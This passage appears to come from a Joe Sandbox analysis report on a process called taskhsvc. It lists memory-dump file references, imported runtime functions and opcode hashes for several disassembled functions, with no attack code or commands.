                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr
                                                                                                                          • String ID: H
                                                                                                                          • API String ID: 2422377151-2852464175
                                                                                                                          • Opcode ID: 8e8cabc7f36a2e9584103d1d0a5b7b2543d94e5d8f1ec5af80729165438ed5e5
                                                                                                                          • Instruction ID: 36ebd7336ebba64ca42886eff3666921cd30bcbffe22f3ec6209a5fdb69cf6e5
                                                                                                                          • Opcode Fuzzy Hash: 8e8cabc7f36a2e9584103d1d0a5b7b2543d94e5d8f1ec5af80729165438ed5e5
                                                                                                                          • Instruction Fuzzy Hash: 8D41B3B4A0461A8FDB00DF59C881AAEB7F1BB88300F15C559E959AB315D738EC42DB60
                                                                                                                          Function 00C8E14B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C8E2C2
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C8E19C
                                                                                                                            • Part of subcall function 00D39B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D345AC), ref: 00D39B69
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: t[$6
                                                                                                                          • API String ID: 1190921433-1621595260
                                                                                                                          • Opcode ID: fb22a5a4072e345f3ebb0199dbd5e24c31d7aa464a9448ea750fe56d78f290ca
                                                                                                                          • Instruction ID: 3aff83839dbe8613b097fa1949aa5736f26a0e14379ad921d54c7a4e476c0c84
                                                                                                                          • Opcode Fuzzy Hash: fb22a5a4072e345f3ebb0199dbd5e24c31d7aa464a9448ea750fe56d78f290ca
                                                                                                                          • Instruction Fuzzy Hash: 7B41E6B4A087059FCB00EF66D58196EFBF5FB49304F008919E8A89B321D778E905CF66
                                                                                                                          Function 00CD3023 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failaborttime
                                                                                                                          • String ID: `q
                                                                                                                          • API String ID: 2430338712-4171279730
                                                                                                                          • Opcode ID: a7c7ba41321a81b139445a588bbe9d84e7fe2ac4dc2c092d532cf86628a3d5d6
                                                                                                                          • Instruction ID: f004de488b7fa9caa137382591f34cbc3fac2d5743b0095bbd7f754b8625369c
                                                                                                                          • Opcode Fuzzy Hash: a7c7ba41321a81b139445a588bbe9d84e7fe2ac4dc2c092d532cf86628a3d5d6
                                                                                                                          • Instruction Fuzzy Hash: 6431D7B4A042599FDB40EFA9C885A9EB7F0FF44314F008819E958EB341D779EA40CF62
                                                                                                                          Function 00CE81EE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D41144: memset.MSVCRT ref: 00D4117D
                                                                                                                            • Part of subcall function 00D41144: __stack_chk_fail.LIBSSP-0 ref: 00D41190
                                                                                                                          • memcpy.MSVCRT ref: 00CE824A
                                                                                                                          • memcpy.MSVCRT ref: 00CE82A6
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CE82D9
                                                                                                                            • Part of subcall function 00D35895: strlen.MSVCRT ref: 00D358CA
                                                                                                                            • Part of subcall function 00D35895: __stack_chk_fail.LIBSSP-0 ref: 00D35904
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$memcpy$memsetstrlen
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1917226012-3916222277
                                                                                                                          • Opcode ID: 7b6f0dde453f07c8beaec8d04174422ae923f04235cacf71a983f8b765928d59
                                                                                                                          • Instruction ID: 86615680e6c4b626d969d48aeb0e0a636bd355255c431f1f6bc9fbf88f1f2e65
                                                                                                                          • Opcode Fuzzy Hash: 7b6f0dde453f07c8beaec8d04174422ae923f04235cacf71a983f8b765928d59
                                                                                                                          • Instruction Fuzzy Hash: 643190B8904719DFCB04DFA9C484AAEBBF1FF88300F118919E858A7355E774A985CF61
                                                                                                                          Function 00D5A16E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D5A1CA
                                                                                                                          • memset.MSVCRT ref: 00D5A1E5
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D5A24D
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
